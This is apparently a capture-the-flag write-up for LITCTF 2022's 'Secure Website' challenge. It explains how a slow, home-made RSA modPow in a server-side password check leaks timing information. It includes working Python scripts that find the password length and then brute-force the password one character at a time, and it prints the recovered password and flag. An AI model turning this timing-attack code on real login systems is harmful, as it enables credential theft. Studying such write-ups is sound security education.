# Secure Website## Description> I have like so many things that I want to do, but I am not sure if I want others to see them yet D: I guess I will just hide all the super important stuff behind my super super fortified and secure Password Checker!## Attachments>[Site](http://litctf.live:31776/) [SecureWebsite.zip](https://github.com/flocto/writeups/tree/main/2022/LITCTF/SecureWebsite/src)---
## Poyo poyoUpon visiting the site, we're greeted with a simple password form:
![website](https://github.com/flocto/writeups/blob/main/2022/LITCTF/SecureWebsite/images/password.png?raw=true)
Trying out some random passwords, we see we get redirected to a rickroll. So let's open the source and see what's going on.
# Arr Ess AyyIt seems we need to acquire the password to get the flag.First we see that when we submit a password, it gets converted to an array of numbers using RSA, and we are redirected to `/verify````html<script type="text/javascript">        // Copying the setting from the server        // This is like TOTALLY secure right?        var p = 3217;        var q = 6451;        var e = 17;        // Hmmm, RSA calculator says to set these values        var N = p * q;        var phi = (p - 1) * (q - 1);        var d = 4880753;
        function submitForm() {            var pwd = $("#password").val();            var arr = [];            for(var i = 0;i < pwd.length;++i) {                arr.push(encryptRSA(pwd.charCodeAt(i)));            }            window.location.href = "/verify?password=" + arr.join();            return;        }
        function encryptRSA(num) {            return modPow(num,e,N);        }
        function modPow(base,exp,mod) {            var result = 1;            for(var i = 0;i < exp;++i) {                result = (result * base) % mod;            }            return result;        }</script>```Then on the server side, the array of numbers is converted back to characters and finally compared with the password one letter at a time.```jsapp.get('/verify', (req, res) => {	var pass = req.query.password;	var start = performance.now(); 	if(pass == undefined || typeof(pass) !== 'string' || !checkPassword(password,pass)) {		res.writeHead(302, {'Location': 'about:blank'});		var now = performance.now();		// console.log(now - start);		res.end();		return;	}	res.render("secret",{flag: flag});});// passwordChecker.jsvar p = 3217;var q = 6451;var e = 17;// Hmmm, RSA calculator says to set these valuesvar N = p * q;var phi = (p - 1) * (q - 1);var d = 4880753;
function decryptRSA(num) {	return modPow(num,d,N);}
function checkPassword(password,pass) {	var arr = pass.split(",");	for(var i = 0;i < arr.length;++i) {		arr[i] = parseInt(arr[i]);	}	if(arr.length != password.length) return false;
	for(var i = 0;i < arr.length;++i) {		var currentChar = password.charCodeAt(i);		var currentInput = decryptRSA(arr[i]);		if(currentChar != currentInput) return false;	}	return true;}
function modPow(base,exp,mod) {	var result = 1;	for(var i = 0;i < exp;++i) {		result = (result * base) % mod;	}	return result;}```While this implementation of RSA obviously isn't secure, it doesn't actually leak any information about the flag.The checking process still occurs on the server, meaning we have no hints about the password or flag. So how do we attackthis problem?
# :clock9:The only suspicious part of the code at first glance is the `modPow` function.```jsfunction modPow(base,exp,mod) {	var result = 1;	for(var i = 0;i < exp;++i) {		result = (result * base) % mod;	}	return result;}```This function seems **extremely** inefficient. Especially considering that when decoding, `exp` is around 5 million.Given that Javascript is obviously not some new language, there are definitely better built-in methods.
Obviously, an inefficient function also takes a relatively long time to compute.
This means that when we input a password, if this function ever gets called, we should see a significant increase in the time it takes for the server to respond.
## HindranceThere is just a small little bit before we go implementing our timing attack exploit. ```js    if(arr.length != password.length) return false;
	for(var i = 0;i < arr.length;++i) {		var currentChar = password.charCodeAt(i);		var currentInput = decryptRSA(arr[i]);		if(currentChar != currentInput) return false;	}	return true;```If the length of our input is not equal to the password length, the decrypt function never gets called, meaning the server willreturn a result at around the same time regardless of if the letters match.
To defeat this check, we first write an exploit to find the length of the password. Thankfully, the server will always call the decryption method for the first letter as long as the lengths match, even if it does not equal the password.```pyimport requestsimport time# adapted from astro's code b/c too lazy to rewrite minedef findMax():    url='http://litctf.live:31776/verify?password='    maxes = []    curMax = (0,)    for i in range(30):        payload = url + ("123123123123," * i)[:-1] # random big number        then = time.time()        r = requests.get(payload, allow_redirects=False)        now = time.time()        delta = now - then        if delta > curMax[0]:            curMax = (delta, i)            print("New current max: ")        print(delta, i, payload)        maxes.append((delta, i))
    maxes.sort()    print(maxes[::-1])    print(curMax)    return maxesfindMax()```Unfortunately, because of how the server is set up, we often get false positives. This set of false positives honestly tripped meup at first because I couldn't seem to get the correct length.
Thankfully, all we have to do is run the script multiple times and seewhat length has the lowest ranking on average```pythonranks = {i:[] for i in range(1,20)}for i in range(10):    print("Round", i)    ranking = findMax()    for place, (delta, num) in enumerate(ranking):        ranks[num].append(place)for i in range(1, 20):    print(i, ranks[i])    print("Average:", sum(ranks[i]) / len(ranks[i]))    print()```And, as it turns out, a length of 6 had an average much much lower than any other length, meaning it's probably the actual length of the password.
# Final timingsNow that we have the length of the password, it becomes a much more simple timing attack, all we need to do is pad our input to be the length of the password.```pythonimport requestsimport time
p = 3217q = 6451e = 17
N = p * qphi = (p - 1) * (q - 1)d = 4880753
def encryptRSA(m):    return pow(m, e, N)
def submit(pwd):    arr = []    for i in range(len(pwd)):        arr.append(encryptRSA(ord(pwd[i])))    return ",".join(map(str, arr))
assert submit("12345678") == "8272582,17059160,20555739,5510519,9465679,18442920,18644618,3444445"
url = "http://litctf.live:31776/verify?password="base = ""import stringalphabet = string.ascii_letters + string.digits # password is alphanumeric, check main.jswhile True:    m = 0    mi = 0        for letter in alphabet:        password = base + letter        password = password.ljust(6, "_")         payload = submit(password)        # print(url + payload)
        then = time.time()        r = requests.get(url + payload, allow_redirects=False)        # print(url + payload)        now = time.time()
        print(password, round(now - then, 2))        # print(now - then, i)        # print(r.text)        if now - then > m:            m = now - then            mi = letter
        # fail is r.status_code == 302        print(r.status_code)        if r.status_code == 200:            print("Found:", password)            exit()        # print(i)        # print()    print(m, mi)    base += mi# Found: CxIj6p```After running this script for quite a while, we are able to get our final password: `CxIj6p`.We can then login to the site and get our flag!
![flag](https://github.com/flocto/writeups/blob/main/2022/LITCTF/SecureWebsite/images/flag.png?raw=true)
```LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}```
## NotesAn interesting take on timing attacks using web as an interface. My only issue with this problem is the false positives when trying to find thelength of the password, which was pretty annoying because you have basically no idea what causes them. Otherwise most of the stuff is standard timing attacks implementation.
Overall still very fun! :+1: